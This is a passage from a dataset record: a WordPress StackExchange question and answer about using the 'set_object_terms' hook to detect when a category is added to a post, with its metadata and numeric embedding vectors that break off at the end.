-0.046630859375,
0.01325225830078125,
0.00687408447265625,
-0.0185546875,
-0.07867431640625,
-0.061248779296875,
-0.003936767578125,
0.0210418701171875,
0.059295654296875,
-0.0060272216796875,
0.04010009765625,
-0.03338623046875,
0.0100860595703125,
-0.026458740234375,
0.0001226663589477539,
0.022674560546875,
0.009613037109375,
-0.06622314453125,
0.0102386474609375,
-0.027557373046875,
0.0054931640625,
-0.0244903564453125,
-0.0296478271484375,
-0.035491943359375,
-0.019073486328125,
0.01953125,
0.0228424072265625,
-0.006103515625,
-0.030670166015625,
0.02508544921875,
-0.004940032958984375,
-0.01297760009765625,
0.002376556396484375,
-0.0007524490356445312,
0.048309326171875,
-0.0205535888671875,
0.02264404296875,
-0.008514404296875,
-0.0042266845703125,
-0.0204925537109375,
-0.0105743408203125,
0.0305633544921875,
-0.060394287109375,
-0.0377197265625,
-0.0303802490234375,
-0.028228759765625,
0.01010894775390625,
0.01461029052734375,
-0.01354217529296875,
-0.004848480224609375,
-0.01482391357421875,
0.006237030029296875,
-0.034759521484375,
0.02484130859375,
-0.045440673828125,
0.009063720703125,
-0.04278564453125,
0.000545501708984375,
0.0513916015625,
-0.031341552734375,
0.01215362548828125,
-0.01300048828125,
-0.01218414306640625,
0.007518768310546875,
0.01873779296875,
-0.004657745361328125,
0.045257568359375,
0.020263671875,
-0.01291656494140625,
0.0209503173828125,
0.0135650634765625,
0.0025043487548828125,
-0.0259552001953125,
0.0012149810791015625,
0.014984130859375,
-0.0352783203125,
0.0787353515625,
0.0272064208984375,
-0.004100799560546875,
0.06463623046875,
-0.042572021484375,
0.039886474609375,
0.0562744140625,
0.10101318359375,
-0.10693359375,
0.025390625,
0.035400390625,
0.00392913818359375,
0.05194091796875,
-0.006374359130859375,
-0.0013942718505859375,
-0.0014209747314453125,
-0.003452301025390625,
0.00865936279296875,
-0.0220794677734375,
0.004058837890625,
0.0245513916015625,
-0.002635955810546875,
-0.0084075927734375,
0.060791015625,
0.0191650390625,
-0.0263214111328125,
-0.0325927734375,
0.01284027099609375,
-0.0135955810546875,
-0.05120849609375,
0.004917144775390625,
0.01236724853515625,
-0.0172271728515625,
-0.0963134765625,
-0.01323699951171875,
0.005687713623046875,
0.00004410743713378906,
-0.00658416748046875,
-0.0322265625,
0.005458831787109375,
0.044677734375,
-0.03662109375,
-0.0024051666259765625,
0.0208740234375,
-0.0244598388671875,
0.02850341796875,
-0.024993896484375,
0.0078277587890625,
0.015960693359375,
-0.068115234375,
0.0137481689453125,
-0.0180206298828125,
-0.0130615234375,
0.0020694732666015625,
0.0222015380859375,
0.066162109375,
0.008758544921875,
-0.04351806640625,
0.030914306640625,
-0.0062408447265625,
-0.02392578125,
-0.03375244140625,
0.0141448974609375,
-0.02960205078125,
-0.0075836181640625,
-0.01922607421875,
-0.0367431640625,
-0.00000864267349243164,
-0.061309814453125,
-0.11871337890625,
0.1112060546875,
0.03643798828125,
0.0877685546875,
-0.0087432861328125,
0.0195159912109375,
-0.032135009765625,
-0.005298614501953125,
-0.02215576171875,
0.0469970703125,
0.0229339599609375,
0.036590576171875,
0.0034046173095703125,
0.00750732421875,
0.0211029052734375,
0.002292633056640625,
0.059295654296875,
0.01076507568359375,
0.0233306884765625,
-0.02001953125,
0.059234619140625,
0.07177734375,
0.01306915283203125,
-0.0215911865234375,
-0.0187225341796875,
0.056488037109375,
0.040191650390625,
-0.057586669921875,
0.01654052734375,
0.01849365234375,
-0.0364990234375,
0.00848388671875,
0.00850677490234375,
0.00850677490234375,
0.0074462890625,
0.040130615234375,
-0.00843048095703125,
-0.0218353271484375,
0.013824462890625,
-0.052337646484375,
0.015899658203125,
0.048553466796875,
0.019775390625,
-0.041961669921875,
0.0099639892578125,
-0.038818359375,
0.05609130859375,
-0.0193634033203125,
0.028594970703125,
0.05145263671875,
0.0269927978515625,
0.04241943359375,
-0.00646209716796875,
0.0275421142578125,
-0.0021648406982421875,
-0.0008373260498046875,
-0.0181732177734375,
-0.0235137939453125,
-0.002410888671875,
-0.051513671875,
-0.0206146240234375,
0.0205078125,
-0.01593017578125,
0.0010013580322265625,
-0.00011396408081054688,
0.0019893646240234375,
-0.020751953125,
-0.0057220458984375,
-0.052581787109375,
-0.01142120361328125,
-0.05523681640625,
-0.06951904296875,
-0.0240631103515625,
0.0195465087890625,
0.056396484375,
0.043548583984375,
-0.00978851318359375,
-0.004405975341796875,
-0.0745849609375,
0.01248931884765625,
-0.0465087890625,
0.01690673828125,
0.023773193359375,
0.0270843505859375,
0.00533294677734375,
0.05657958984375,
0.0165863037109375,
-0.01248931884765625,
-0.0216522216796875,
0.0093841552734375,
-0.01306915283203125,
0.0062255859375,
-0.00037789344787597656,
0.001186370849609375,
-0.004596710205078125,
0.0080108642578125,
0.0159912109375,
0.038970947265625,
0.06744384765625,
0.0169525146484375,
-0.0299835205078125,
-0.00887298583984375,
-0.0506591796875,
-0.04998779296875,
0.051239013671875,
-0.03125,
0.0025997161865234375,
-0.0145416259765625,
-0.021881103515625,
-0.045928955078125,
0.0304107666015625,
0.0171966552734375,
-0.0285491943359375,
0.01490020751953125,
-0.00782012939453125,
-0.0095977783203125,
0.044830322265625,
-0.013916015625,
0.00580596923828125,
0.005084991455078125,
-0.09130859375,
-0.041473388671875,
0.01419830322265625,
0.005466461181640625,
0.0011606216430664062,
0.04302978515625,
0.021514892578125,
-0.01136016845703125,
0.027374267578125,
-0.003326416015625,
0.033447265625,
-0.013885498046875,
-0.0361328125,
-0.0088653564453125,
0.037628173828125,
-0.00814056396484375,
-0.05462646484375,
-0.034698486328125,
0.00975799560546875,
0.037933349609375,
-0.0287628173828125,
0.0596923828125,
-0.0178985595703125,
0.0018825531005859375,
-0.0548095703125,
0.0318603515625,
-0.07000732421875,
-0.056060791015625,
0.0193939208984375,
-0.00865936279296875,
-0.0163116455078125,
0.01678466796875,
-0.0526123046875,
-0.016082763671875,
0.0252685546875,
-0.033599853515625,
0.03387451171875,
-0.0582275390625,
0.007404327392578125,
-0.0265960693359375,
0.01128387451171875,
-0.00960540771484375,
-0.0308074951171875,
-0.0236053466796875,
0.00690460205078125,
0.0224151611328125,
0.05108642578125,
-0.0029926300048828125,
-0.0005488395690917969,
0.005008697509765625,
-0.024810791015625,
0.039031982421875,
-0.023468017578125,
0.06298828125,
0.0268402099609375,
-0.05023193359375,
-0.07666015625,
0.01412200927734375,
-0.00264739990234375,
-0.0255279541015625,
0.0092620849609375,
0.05877685546875,
-0.0008492469787597656,
-0.041351318359375,
-0.036163330078125,
-0.004467010498046875,
0.01198577880859375,
0.015045166015625,
0.0039520263671875,
-0.039093017578125,
-0.0223541259765625,
-0.0145263671875,
-0.040802001953125,
-0.03167724609375,
-0.0389404296875,
0.0020751953125,
0.032470703125,
-0.00782012939453125,
-0.032012939453125,
-0.025909423828125,
0.011260986328125,
0.0194549560546875,
-0.0033626556396484375,
-0.045135498046875,
0.0222625732421875,
-0.0218658447265625,
0.0190277099609375,
-0.004451751708984375,
-0.004772186279296875,
0.004543304443359375,
0.00069427490234375,
-0.0537109375,
-0.052581787109375,
-0.04541015625,
0.044677734375,
-0.0648193359375,
-0.01390838623046875,
0.024139404296875,
0.010467529296875,
-0.018829345703125,
-0.03155517578125,
-0.0362548828125,
0.0196990966796875,
-0.058685302734375,
-0.01287078857421875,
0.037109375,
-0.007617950439453125,
-0.01348876953125,
-0.06732177734375,
-0.0232086181640625,
-0.03717041015625,
0.0146026611328125,
0.031890869140625,
-0.031951904296875,
-0.0162506103515625,
-0.031402587890625,
-0.0377197265625,
0.004985809326171875,
0.0261077880859375,
-0.03546142578125,
-0.0202178955078125,
0.004421234130859375,
-0.003200531005859375,
0.02630615234375,
-0.00771331787109375,
-0.0022220611572265625,
-0.0272064208984375,
0.00677490234375,
0.01226806640625,
0.07171630859375,
-0.0179901123046875,
0.021697998046875,
0.0104827880859375,
0.039642333984375,
0.01387786865234375,
0.0112762451171875,
0.010162353515625,
-0.017669677734375,
0.043731689453125,
0.04705810546875,
-0.02276611328125,
0.0215301513671875,
0.0162353515625,
-0.03033447265625,
-0.037445068359375,
-0.04644775390625,
-0.0272979736328125,
-0.003299713134765625,
0.11883544921875,
0.09710693359375,
0.036529541015625,
-0.05718994140625,
-0.02777099609375,
-0.0294952392578125,
-0.0116424560546875,
-0.040283203125,
0.0155029296875,
-0.07427978515625,
-0.0225372314453125,
-0.003932952880859375,
-0.006122589111328125,
0.020172119140625,
-0.055572509765625,
-0.0183868408203125,
0.002716064453125,
-0.01363372802734375,
0.00592041015625,
-0.01488494873046875,
-0.0214385986328125,
0.01593017578125,
-0.017333984375,
-0.0021190643310546875,
-0.006206512451171875,
0.03668212890625,
0.0029430389404296875,
0.01027679443359375,
-0.00881195068359375,
-0.05072021484375,
-0.01303863525390625,
0.0032291412353515625,
-0.0145263671875,
0.022735595703125,
-0.00244140625,
-0.039459228515625,
-0.04315185546875,
0.015289306640625,
0.004550933837890625,
0.0054931640625,
-0.0190887451171875,
0.047698974609375,
0.0236053466796875,
0.0916748046875,
0.006557464599609375,
-0.0167999267578125,
-0.0190277099609375,
0.037628173828125,
0.0017728805541992188,
-0.0229644775390625,
0.02587890625,
-0.037628173828125,
0.00827789306640625,
0.03167724609375,
0.06646728515625,
-0.039306640625,
0.034637451171875,
-0.058197021484375,
0.0560302734375,
0.0245361328125
] |
4f9654ea6bcf1e8d980af5b83151b853fa3276e4
|
Wordpress Stackexchange
Q: Hook when category is added to post I'm trying to do something when a category is added to post and saved. I thought that using the save_post hook would have registered when a category is added to a post, but it doesn't appear to.
When I edit a post and do nothing but change the categories for the post, I don't get the save_post hook fired (editing the title, body, etc fires the save_post hook successfully). Is there another way to use add_action/add_filter to detect when a category is added to a post?
A: You may want to try:
do_action('set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids);
You can find it under this Docs and the action is located at wp-includes/taxonomy.php
add_action('set_object_terms','wpse5123_set_object_terms',10,4);
function wpse5123_set_object_terms($object_id, $terms, $tt_ids, $taxonomy){
if($taxonomy == 'category'){
echo '<pre>';
print_r($terms);
echo '</pre>';
exit;
}
}
The code above isn't tested but I think you get the point.
|
Q: Hook when category is added to post I'm trying to do something when a category is added to post and saved. I thought that using the save_post hook would have registered when a category is added to a post, but it doesn't appear to.
When I edit a post and do nothing but change the categories for the post, I don't get the save_post hook fired (editing the title, body, etc fires the save_post hook successfully). Is there another way to use add_action/add_filter to detect when a category is added to a post?
A: You may want to try:
do_action('set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids);
You can find it under this Docs and the action is located at wp-includes/taxonomy.php
add_action('set_object_terms','wpse5123_set_object_terms',10,4);
function wpse5123_set_object_terms($object_id, $terms, $tt_ids, $taxonomy){
if($taxonomy == 'category'){
echo '<pre>';
print_r($terms);
echo '</pre>';
exit;
}
}
The code above isn't tested but I think you get the point.
|
wordpress
|
{
"language": "en",
"length": 150,
"provenance": "stackexchange_00019.jsonl.gz:437753",
"question_score": "7",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116295"
}
|
[
0.04083251953125,
0.0124053955078125,
-0.039764404296875,
-0.0289459228515625,
0.058074951171875,
-0.04693603515625,
0.062255859375,
-0.01195526123046875,
-0.0130157470703125,
-0.0178375244140625,
-0.05126953125,
0.004119873046875,
-0.0009288787841796875,
-0.0303955078125,
0.038330078125,
-0.028564453125,
0.038055419921875,
-0.030029296875,
0.043487548828125,
-0.00611114501953125,
-0.00847625732421875,
0.0218658447265625,
0.06353759765625,
-0.000025212764739990234,
0.0257568359375,
-0.01412200927734375,
0.0322265625,
-0.033782958984375,
0.032806396484375,
-0.006183624267578125,
0.026519775390625,
-0.0255889892578125,
0.03851318359375,
0.0159912109375,
-0.040863037109375,
0.046966552734375,
0.01245880126953125,
0.0008306503295898438,
-0.00826263427734375,
0.03765869140625,
0.0270233154296875,
-0.009490966796875,
0.0262908935546875,
0.001224517822265625,
0.01045989990234375,
-0.037506103515625,
0.04736328125,
-0.0294036865234375,
0.01114654541015625,
-0.059814453125,
0.02978515625,
0.005237579345703125,
0.049652099609375,
-0.033294677734375,
-0.0204010009765625,
0.0203399658203125,
-0.0865478515625,
0.047821044921875,
0.04681396484375,
0.03997802734375,
-0.0240325927734375,
-0.056549072265625,
-0.001499176025390625,
-0.06585693359375,
0.0170745849609375,
0.00696563720703125,
0.014556884765625,
0.0080108642578125,
-0.044708251953125,
0.01165008544921875,
0.0272674560546875,
-0.0599365234375,
-0.01496124267578125,
0.0099029541015625,
0.022857666015625,
-0.0455322265625,
0.0247039794921875,
-0.006000518798828125,
-0.00667572021484375,
0.062469482421875,
0.035552978515625,
-0.006649017333984375,
0.051361083984375,
-0.003631591796875,
0.00022804737091064453,
0.0013360977172851562,
-0.00957489013671875,
-0.01549530029296875,
-0.045654296875,
-0.05316162109375,
-0.0260162353515625,
-0.0215911865234375,
-0.056182861328125,
-0.029754638671875,
-0.005573272705078125,
-0.04522705078125,
0.0031185150146484375,
0.040008544921875,
-0.0226898193359375,
0.00974273681640625,
-0.0152587890625,
-0.02911376953125,
0.01375579833984375,
-0.038604736328125,
0.025909423828125,
0.0173797607421875,
-0.00943756103515625,
-0.040985107421875,
0.0379638671875,
0.0215911865234375,
-0.0132904052734375,
0.0467529296875,
0.01690673828125,
0.00453948974609375,
-0.0228729248046875,
-0.0345458984375,
-0.044830322265625,
0.0362548828125,
-0.00392913818359375,
0.005168914794921875,
0.01064300537109375,
0.023040771484375,
0.0182647705078125,
-0.0487060546875,
0.038055419921875,
0.0164947509765625,
-0.036529541015625,
-0.029327392578125,
0.023712158203125,
-0.006900787353515625,
-0.024932861328125,
0.019317626953125,
0.06610107421875,
0.0279541015625,
0.0159454345703125,
-0.0092620849609375,
-0.005962371826171875,
-0.005062103271484375,
-0.03033447265625,
0.014923095703125,
-0.0103912353515625,
-0.02593994140625,
-0.01120758056640625,
-0.0279388427734375,
0.035858154296875,
-0.006702423095703125,
-0.006622314453125,
0.0296478271484375,
0.035888671875,
-0.0171356201171875,
0.060028076171875,
-0.0565185546875,
0.0677490234375,
0.006610870361328125,
-0.05352783203125,
-0.01338958740234375,
0.043304443359375,
-0.046875,
-0.05084228515625,
-0.07659912109375,
0.0135955810546875,
-0.007625579833984375,
0.00046324729919433594,
-0.059173583984375,
-0.06060791015625,
-0.0009570121765136719,
-0.046661376953125,
-0.0025653839111328125,
0.0222320556640625,
0.0184478759765625,
0.04376220703125,
0.027130126953125,
0.00986480712890625,
-0.0105438232421875,
-0.006374359130859375,
-0.034454345703125,
-0.02679443359375,
-0.0070037841796875,
0.04266357421875,
0.018798828125,
-0.007843017578125,
-0.0201416015625,
0.033966064453125,
-0.005420684814453125,
-0.0345458984375,
0.044952392578125,
0.003509521484375,
0.04095458984375,
0.005535125732421875,
0.007495880126953125,
0.00695037841796875,
0.04498291015625,
-0.036163330078125,
-0.01436614990234375,
0.024932861328125,
-0.00652313232421875,
-0.00402069091796875,
-0.0281982421875,
0.0134735107421875,
0.0072021484375,
0.01451873779296875,
-0.0223846435546875,
0.007526397705078125,
-0.0025005340576171875,
-0.0694580078125,
-0.005035400390625,
-0.028717041015625,
0.029571533203125,
-0.0158538818359375,
-0.0018091201782226562,
0.0177001953125,
-0.0275115966796875,
-0.01065826416015625,
-0.0237579345703125,
-0.0311737060546875,
0.011871337890625,
-0.039947509765625,
0.01027679443359375,
0.007472991943359375,
0.0210723876953125,
0.020294189453125,
-0.0173797607421875,
0.008026123046875,
-0.0176239013671875,
0.043426513671875,
0.0167388916015625,
-0.03363037109375,
-0.010162353515625,
-0.0012102127075195312,
0.03192138671875,
-0.06536865234375,
0.0418701171875,
0.03369140625,
0.04266357421875,
-0.0240020751953125,
-0.00640106201171875,
-0.0059814453125,
-0.06939697265625,
0.0015850067138671875,
0.059173583984375,
0.0279083251953125,
0.0347900390625,
-0.0124359130859375,
-0.011505126953125,
0.057098388671875,
0.006534576416015625,
0.030731201171875,
-0.03515625,
0.011474609375,
0.06097412109375,
0.025970458984375,
0.032958984375,
-0.015777587890625,
-0.028411865234375,
0.032501220703125,
0.0144500732421875,
-0.004428863525390625,
-0.0089569091796875,
0.01314544677734375,
-0.034393310546875,
0.024810791015625,
-0.07220458984375,
-0.062347412109375,
-0.00917816162109375,
0.029296875,
-0.007335662841796875,
0.01421356201171875,
0.002651214599609375,
-0.01329803466796875,
0.00127410888671875,
0.012786865234375,
-0.047637939453125,
-0.009124755859375,
0.0165557861328125,
0.0447998046875,
0.021209716796875,
-0.0498046875,
0.00514984130859375,
0.0202484130859375,
0.0204925537109375,
-0.0114593505859375,
0.0562744140625,
0.020294189453125,
-0.0217742919921875,
-0.0252532958984375,
-0.0771484375,
-0.00811767578125,
-0.0333251953125,
-0.02880859375,
-0.0139312744140625,
0.0222015380859375,
0.01064300537109375,
-0.00982666015625,
-0.010711669921875,
-0.006443023681640625,
-0.0122833251953125,
-0.018096923828125,
-0.01071929931640625,
0.024566650390625,
-0.0123443603515625,
0.0243072509765625,
0.06732177734375,
0.0046539306640625,
0.02197265625,
0.005596160888671875,
-0.0157623291015625,
-0.01445770263671875,
0.02081298828125,
-0.0035152435302734375,
-0.0298309326171875,
-0.0306243896484375,
0.0250396728515625,
0.02001953125,
0.042236328125,
0.0013027191162109375,
-0.038055419921875,
0.0172576904296875,
0.0144500732421875,
-0.0309600830078125,
-0.0305023193359375,
-0.0154571533203125,
-0.04571533203125,
0.0033740997314453125,
-0.0008063316345214844,
-0.01422882080078125,
-0.019561767578125,
0.0135955810546875,
0.0162506103515625,
-0.0118865966796875,
-0.0180206298828125,
-0.021087646484375,
-0.0399169921875,
-0.03460693359375,
-0.03192138671875,
0.0033817291259765625,
-0.00283050537109375,
0.01430511474609375,
0.0948486328125,
0.020721435546875,
-0.052825927734375,
0.01788330078125,
-0.037109375,
-0.042236328125,
0.0249786376953125,
-0.021453857421875,
-0.012969970703125,
0.02642822265625,
-0.019927978515625,
0.0261077880859375,
0.0244140625,
-0.01300811767578125,
0.01126861572265625,
-0.0274810791015625,
0.004863739013671875,
0.013702392578125,
0.02783203125,
0.017913818359375,
0.01081085205078125,
0.043975830078125,
-0.037841796875,
0.0211639404296875,
-0.006008148193359375,
0.0032749176025390625,
-0.00010246038436889648,
-0.030364990234375,
-0.007572174072265625,
-0.0006570816040039062,
0.02569580078125,
-0.038116455078125,
-0.00899505615234375,
-0.0018672943115234375,
-0.01314544677734375,
0.0155181884765625,
-0.0254974365234375,
-0.039642333984375,
0.0093536376953125,
-0.039703369140625,
-0.0197296142578125,
0.0169525146484375,
-0.0271453857421875,
0.031402587890625,
-0.02142333984375,
0.0484619140625,
-0.043304443359375,
-0.042999267578125,
0.0030040740966796875,
-0.06842041015625,
0.03863525390625,
-0.050567626953125,
0.0069732666015625,
-0.0221405029296875,
0.06280517578125,
-0.038848876953125,
-0.024993896484375,
-0.026702880859375,
0.0176239013671875,
-0.009490966796875,
-0.05377197265625,
-0.006565093994140625,
-0.0278472900390625,
-0.061248779296875,
0.0183868408203125,
0.0204010009765625,
-0.03472900390625,
-0.03338623046875,
0.0533447265625,
-0.06182861328125,
-0.0087890625,
0.0443115234375,
-0.06866455078125,
0.0224456787109375,
0.033905029296875,
0.01190948486328125,
-0.004123687744140625,
-0.035675048828125,
-0.016326904296875,
-0.0921630859375,
-0.00283050537109375,
-0.0184326171875,
0.01049041748046875,
-0.0108795166015625,
-0.0079193115234375,
-0.0240936279296875,
0.0233306884765625,
0.05462646484375,
-0.002010345458984375,
0.031494140625,
0.00995635986328125,
-0.0214996337890625,
-0.052886962890625,
0.01422882080078125,
-0.06005859375,
-0.004375457763671875,
0.01003265380859375,
0.00726318359375,
0.0806884765625,
-0.02777099609375,
0.0369873046875,
-0.01325225830078125,
-0.016265869140625,
-0.040679931640625,
-0.03704833984375,
-0.01702880859375,
-0.005218505859375,
-0.0191650390625,
0.00925445556640625,
-0.03802490234375,
-0.0391845703125,
0.008209228515625,
-0.022430419921875,
0.00817108154296875,
0.0111236572265625,
0.0704345703125,
0.01287841796875,
0.00733184814453125,
-0.013092041015625,
0.02801513671875,
0.038818359375,
-0.003936767578125,
0.01146697998046875,
0.0018672943115234375,
-0.0168304443359375,
0.0178985595703125,
0.01476287841796875,
0.005779266357421875,
-0.06976318359375,
0.07855224609375,
0.01026153564453125,
0.0185546875,
-0.005767822265625,
-0.0198974609375,
0.06011962890625,
-0.0089874267578125,
-0.03485107421875,
-0.0028247833251953125,
0.01438140869140625,
0.0209503173828125,
-0.04364013671875,
0.05712890625,
-0.01355743408203125,
-0.01947021484375,
-0.0010557174682617188,
0.0176239013671875,
0.032623291015625,
0.0288543701171875,
0.0051727294921875,
0.0078887939453125,
-0.003936767578125,
-0.023162841796875,
-0.017059326171875,
-0.0221099853515625,
0.011505126953125,
0.00969696044921875,
-0.0187530517578125,
-0.01119232177734375,
-0.01543426513671875,
0.01617431640625,
-0.0291900634765625,
-0.0244140625,
-0.042022705078125,
-0.04534912109375,
0.005138397216796875,
0.040374755859375,
0.036376953125,
0.0010662078857421875,
0.03253173828125,
0.050872802734375,
-0.0038051605224609375,
-0.003124237060546875,
-0.0167388916015625,
0.0261077880859375,
-0.034637451171875,
-0.0019025802612304688,
0.030853271484375,
-0.032745361328125,
0.046295166015625,
-0.0271759033203125,
0.033050537109375,
-0.0101470947265625,
-0.019256591796875,
0.031829833984375,
0.042877197265625,
0.01544952392578125,
0.0290374755859375,
-0.0169525146484375,
-0.00545501708984375,
-0.01556396484375,
0.0006361007690429688,
-0.048919677734375,
-0.001987457275390625,
-0.02752685546875,
0.00977325439453125,
-0.025482177734375,
-0.033538818359375,
0.07568359375,
0.01100921630859375,
-0.015167236328125,
-0.0016069412231445312,
-0.00701141357421875,
-0.02655029296875,
-0.00656890869140625,
0.01047515869140625,
0.0020389556884765625,
-0.004741668701171875,
0.0177764892578125,
-0.006298065185546875,
0.022125244140625,
0.03485107421875,
-0.0203094482421875,
0.00872039794921875,
-0.00881195068359375,
-0.005352020263671875,
-0.07958984375,
-0.032867431640625,
0.04931640625,
0.016815185546875,
0.0161590576171875,
-0.0254669189453125,
-0.06085205078125,
0.0157012939453125,
-0.004642486572265625,
0.0472412109375,
-0.0286712646484375,
-0.0230560302734375,
0.0411376953125,
-0.005046844482421875,
0.05389404296875,
0.0095672607421875,
-0.0270538330078125,
-0.001979827880859375,
-0.0455322265625,
-0.0015954971313476562,
0.0050811767578125,
-0.02008056640625,
-0.021392822265625,
-0.0141754150390625,
0.0111541748046875,
0.01535797119140625,
-0.0007834434509277344,
-0.0142669677734375,
-0.0130462646484375,
0.007568359375,
0.0165252685546875,
0.014678955078125,
-0.00765228271484375,
0.05645751953125,
-0.005405426025390625,
0.037139892578125,
-0.0024127960205078125,
-0.01230621337890625,
-0.04302978515625,
0.00568389892578125,
-0.0241851806640625,
-0.07489013671875,
0.00940704345703125,
0.03387451171875,
-0.02130126953125,
0.03857421875,
0.024383544921875,
0.01265716552734375,
-0.0175323486328125,
0.0078582763671875,
0.00902557373046875,
-0.0140838623046875,
-0.00548553466796875,
0.045684814453125,
-0.04315185546875,
0.060211181640625,
-0.040863037109375,
0.0231781005859375,
-0.0022754669189453125,
0.01922607421875,
0.033782958984375,
-0.059326171875,
0.0264892578125,
0.0226287841796875,
-0.00408172607421875,
0.01483917236328125,
0.018646240234375,
0.0419921875,
0.041717529296875,
0.005153656005859375,
0.0428466796875,
-0.0231170654296875,
-0.0136260986328125,
-0.0198974609375,
-0.020477294921875,
0.028228759765625,
0.0014934539794921875,
0.0003459453582763672,
0.040191650390625,
-0.016998291015625,
-0.001972198486328125,
0.038421630859375,
0.0264434814453125,
-0.043792724609375,
0.0035305023193359375,
0.000518798828125,
-0.01044464111328125,
0.0313720703125,
0.0274658203125,
-0.009552001953125,
0.0268096923828125,
0.00044226646423339844,
-0.0246734619140625,
-0.01381683349609375,
0.023406982421875,
0.0190277099609375,
-0.004119873046875,
-0.0162506103515625,
-0.01244354248046875,
0.00508880615234375,
-0.0103302001953125,
0.0081024169921875,
0.012603759765625,
0.0109100341796875,
-0.027252197265625,
0.0084381103515625,
0.0203857421875,
-0.0197296142578125,
-0.069091796875,
0.0416259765625,
0.015045166015625,
-0.0012683868408203125,
0.005580902099609375,
-0.028961181640625,
0.01520538330078125,
0.026947021484375,
-0.00295257568359375,
-0.002208709716796875,
0.003513336181640625,
-0.03704833984375,
-0.03497314453125,
0.013092041015625,
0.040802001953125,
0.06304931640625,
-0.053009033203125,
0.0224456787109375,
-0.03448486328125,
0.0118865966796875,
-0.0035457611083984375,
-0.03631591796875,
0.043853759765625,
-0.0692138671875,
0.0100555419921875,
0.006805419921875,
0.00634765625,
0.0215911865234375,
-0.0118255615234375,
0.019317626953125,
-0.0209503173828125,
-0.00859832763671875,
-0.01308441162109375,
-0.01540374755859375,
-0.0112152099609375,
-0.0301055908203125,
-0.07733154296875,
0.0858154296875,
0.0162506103515625,
0.02374267578125,
-0.0283203125,
0.031463623046875,
-0.034149169921875,
-0.0004944801330566406,
-0.08013916015625,
0.0916748046875,
0.02508544921875,
0.049041748046875,
-0.07513427734375,
0.0025386810302734375,
0.002216339111328125,
-0.004184722900390625,
0.0413818359375,
0.0062713623046875,
0.021881103515625,
-0.0050811767578125,
0.0193939208984375,
0.00353240966796875,
-0.033233642578125,
0.009613037109375,
-0.014923095703125,
-0.035614013671875,
0.01479339599609375,
0.01312255859375,
0.033203125,
0.0018444061279296875,
-0.040496826171875,
0.007266998291015625,
-0.0077667236328125,
-0.007781982421875,
-0.006916046142578125,
0.00931549072265625,
-0.0174713134765625,
-0.014251708984375,
0.004398345947265625,
-0.04119873046875,
-0.0010824203491210938,
0.028228759765625,
0.0137176513671875,
-0.0192413330078125,
0.00650787353515625,
-0.037628173828125,
0.04437255859375,
-0.0015430450439453125,
0.038482666015625,
0.0244293212890625,
0.0206451416015625,
0.06756591796875,
0.00952911376953125,
0.0167388916015625,
0.04266357421875,
-0.0149078369140625,
0.0631103515625,
0.04876708984375,
0.0240936279296875,
-0.016754150390625,
0.0154266357421875,
0.04437255859375,
0.08135986328125,
-0.0570068359375,
-0.050628662109375,
0.0125885009765625,
0.02716064453125,
-0.0033416748046875,
0.0267181396484375,
0.01143646240234375,
-0.0129547119140625,
0.07421875,
-0.043243408203125,
-0.0224151611328125,
0.017120361328125,
0.04754638671875,
0.0074310302734375,
0.0273895263671875,
-0.042755126953125,
-0.05694580078125,
-0.042022705078125,
0.021697998046875,
0.00911712646484375,
0.0670166015625,
0.01123046875,
0.07275390625,
-0.032562255859375,
-0.02392578125,
0.01042938232421875,
0.0027866363525390625,
-0.0009098052978515625,
-0.01354217529296875,
0.0024242401123046875,
-0.032623291015625,
0.012176513671875,
0.0240936279296875,
0.01003265380859375,
0.0574951171875,
0.0703125,
0.036590576171875,
-0.045135498046875,
0.0009288787841796875,
0.06768798828125,
-0.038818359375,
-0.03125,
-0.0433349609375,
0.041015625,
0.06097412109375,
0.023406982421875,
0.023895263671875,
-0.00960540771484375,
0.09368896484375,
-0.046173095703125,
0.03814697265625,
-0.008453369140625,
-0.038238525390625,
0.072021484375,
-0.0083770751953125,
0.09967041015625,
-0.0078125,
-0.0792236328125,
-0.003726959228515625,
-0.052703857421875,
-0.06982421875,
0.0186309814453125,
0.038848876953125,
-0.01412200927734375,
0.0200042724609375,
0.0207366943359375,
-0.040985107421875,
0.053863525390625,
0.004180908203125,
-0.01323699951171875,
-0.00940704345703125,
0.0205230712890625,
-0.023681640625,
0.0185546875,
0.0164642333984375,
0.033416748046875,
0.0291900634765625,
-0.0102081298828125,
0.0517578125,
-0.0167236328125,
-0.009307861328125,
-0.035125732421875,
0.055877685546875,
-0.07757568359375,
-0.0438232421875,
0.052886962890625,
-0.0237274169921875,
-0.00457000732421875,
0.0028400421142578125,
-0.03680419921875,
0.0003502368927001953,
0.039031982421875,
0.005695343017578125,
0.01026153564453125,
-0.040557861328125,
0.0292816162109375,
0.0035152435302734375,
0.049774169921875,
-0.0174560546875,
-0.0100860595703125,
-0.055755615234375,
-0.038360595703125,
0.037261962890625,
0.0281219482421875,
0.0254974365234375,
0.0167236328125,
-0.035003662109375,
0.00901031494140625,
-0.0094146728515625,
0.012237548828125,
-0.055633544921875,
0.0170135498046875,
-0.041351318359375,
0.016571044921875,
0.046142578125,
-0.00896453857421875,
0.007442474365234375,
0.03204345703125,
-0.002765655517578125,
0.021820068359375,
-0.0247955322265625,
-0.0241851806640625,
0.0301513671875,
0.04119873046875,
-0.017425537109375,
0.0287628173828125,
-0.00511932373046875,
-0.00955963134765625,
0.0181121826171875,
0.0137939453125,
-0.0484619140625,
-0.0273590087890625,
-0.007965087890625,
0.005283355712890625,
-0.0222320556640625,
-0.050537109375,
-0.075927734375,
0.0030517578125,
0.054290771484375,
0.003192901611328125,
-0.0204620361328125,
0.0130615234375,
-0.037872314453125,
0.043609619140625,
0.01617431640625,
-0.027496337890625,
0.021575927734375,
0.0445556640625,
-0.02593994140625,
0.02294921875,
-0.010345458984375,
-0.02825927734375,
-0.01291656494140625,
-0.00206756591796875,
0.0089874267578125,
-0.0131072998046875,
-0.04083251953125,
0.002887725830078125,
-0.0041046142578125,
0.033538818359375,
0.0311126708984375,
-0.033355712890625,
0.002490997314453125,
0.01727294921875,
-0.003276824951171875,
0.0023956298828125,
0.00923919677734375,
0.0213165283203125,
-0.0212860107421875,
-0.0189666748046875,
0.0151214599609375,
0.03759765625,
-0.0187530517578125,
-0.06756591796875,
0.05712890625,
-0.0234375,
-0.0208740234375,
-0.04718017578125,
-0.0184783935546875,
-0.02850341796875,
0.0266265869140625,
-0.020294189453125,
-0.016876220703125,
-0.0013856887817382812,
0.07366943359375,
